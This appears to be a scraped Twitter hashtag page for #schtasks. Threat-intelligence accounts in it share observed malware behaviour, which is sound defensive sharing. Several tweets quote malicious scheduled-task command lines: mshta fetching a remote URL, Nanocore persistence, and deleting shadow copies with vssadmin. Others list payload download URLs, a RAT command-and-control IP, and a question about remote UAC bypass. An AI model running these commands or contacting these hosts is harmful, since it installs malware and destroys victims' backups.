#schtasks - Twitter Hashtag

about 4 years ago

If you get confused each time you see the command-line arguments of #Schtasks as I do, so I believe that my illustrations below that I use as a reminder will help you. #infosec #Windows

elromaissa2's tweet photo. If you get confused each time you see the command-line arguments of #Schtasks as I do, so I believe that my illustrations below that I use as a reminder will help you.

#infosec #Windows https://t.co/sLf5lLFJSu

2

128

32

38

0

Cyber Analyzer @cyberanalyzer

over 7 years ago

#Schtasks #Mshta "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 500 /tn "MSOFFICEER" /tr "mshta vbscript:CreateObject(\"Wscript[.]Shell\").Run(\"mshta.exe <URL>\",0,true)(window.close)" /F #CyberSecurity #Malware

0

Cyber Analyzer @cyberanalyzer

over 7 years ago

Persistence #Nanocore #Schtasks "C:\Windows\System32\schtasks.exe" /create /tn XblGameSaveTask /tr "C:\Users\test\AppData\Roaming\jkrhda\tpmvscmgrsvr.exe" /sc minute /mo 1 /F #OSINT #CyberSecurity

0

1

2

0

Cyber Analyzer @cyberanalyzer

over 7 years ago

"C:\Windows\System32\schtasks.exe" /Create /RU SYSTEM /SC ONCE /TN VssDataRestore /F /RL HIGHEST /TR "vssadmin delete shadows /all /quiet" /st 00:00 #Ransomware #OSINT #Schtasks #Vssadmin

0

2

0

Malwrologist

@DissectMalware

about 8 years ago

#sophisticated #docx -> #rtf (19 #OLE objs) -> #xlsx -> #vba -> create 3 tasks with #schtasks -> dls & execs 2 #PE (#MSIL #NET) & 1 #js https://t.co/rpQU8wyrfb

DissectMalware's tweet photo. #sophisticated #docx -> #rtf (19 #OLE objs) -> #xlsx -> #vba -> create 3 tasks with #schtasks -> dls & execs 2 #PE (#MSIL #NET) & 1 #js

https://t.co/rpQU8wyrfb https://t.co/6s28ZfVLkv

1

31

20

2

0

Malwrologist

@DissectMalware

over 8 years ago

#malicious #vbscript runs #cmd -> creates a #bitsadmin job to download an #PE file (custom #user_agent: #DAMER), creates a #schtasks job to run it /visioninsurancestore.com/jhfj6ydhhd910/bcnx63dggsnd/mopw.png * some of the string are triple #base64 encoded * low threat score

DissectMalware's tweet photo. #malicious #vbscript runs #cmd -> creates a #bitsadmin job to download an #PE file (custom #user_agent: #DAMER), creates a #schtasks job to run it
/visioninsurancestore.com/jhfj6ydhhd910/bcnx63dggsnd/mopw.png
* some of the string are triple #base64 encoded
* low threat score https://t.co/21OQuQuW2U

2

15

1

0

Malwrologist

@DissectMalware

over 8 years ago

#malicious #vbs runs #powershell, dls #PE, uses #schtasks, blah blah blah. More importantly, it is an #opendir with 84 files (33MB)! https://t.co/c5T1gvq5Tu /www.onetwothree.ga/binlo/_outputB86561F.exe hxxps://badcarrero.sslblindado.com/office2.exe /www.willmymanbegood.tk/ban.exe

DissectMalware's tweet photo. #malicious #vbs runs #powershell, dls #PE, uses #schtasks, blah blah blah. More importantly, it is an #opendir with 84 files (33MB)!
https://t.co/c5T1gvq5Tu
/www.onetwothree.ga/binlo/_outputB86561F.exe
hxxps://badcarrero.sslblindado.com/office2.exe
/www.willmymanbegood.tk/ban.exe https://t.co/RkzX5u0TvV

0

30

20

0

Malwrologist

@DissectMalware

over 8 years ago

#stealthy #malicious #vbscript stores #base64 encoded #revenge #rat in a registry (#NET file). It creates a task with #schtasks, upon exec of the task, a #powershell execs the stored #rat in reg. c2: 141.255.152.128:2222 https://t.co/0gCJGgccbr read more: https://t.co/8al9JMOgX3

DissectMalware's tweet photo. #stealthy #malicious #vbscript stores #base64 encoded #revenge #rat in a registry (#NET file). It creates a task with #schtasks, upon exec of the task, a #powershell execs the stored #rat in reg.
c2: 141.255.152.128:2222
https://t.co/0gCJGgccbr
read more: https://t.co/8al9JMOgX3 https://t.co/6SKV1qrhwM

0

26

16

1

0

Malwrologist

@DissectMalware

over 8 years ago

interesting #malware: #rtf file 11 #ole objs -> each #ole obj is a #xls file -> contains #vba macro -> macro run #schtasks to create a task -> it exes #powershell to dll vbs -> vbs dls #PE file, uses #schtasks to schedule a task with name #WindowsUpdates (200 mins). #opendir.

DissectMalware's tweet photo. interesting #malware: #rtf file 11 #ole objs -> each #ole obj is a #xls file -> contains #vba macro -> macro run #schtasks to create a task -> it exes #powershell to dll vbs -> vbs dls #PE file, uses #schtasks to schedule a task with name #WindowsUpdates (200 mins). #opendir. https://t.co/9qoTBkg1nD

1

25

16

0

khr@sh @khr0x40sh

almost 12 years ago

Anyone know why #bypassuac doesn't seem to work being called via Invoke-WMI remotely but works using #schtasks remotely? #netsec

0

Top Tweets for #schtasks

Last Seen Hashtags on Sotwe

Trends for you

Most Popular Users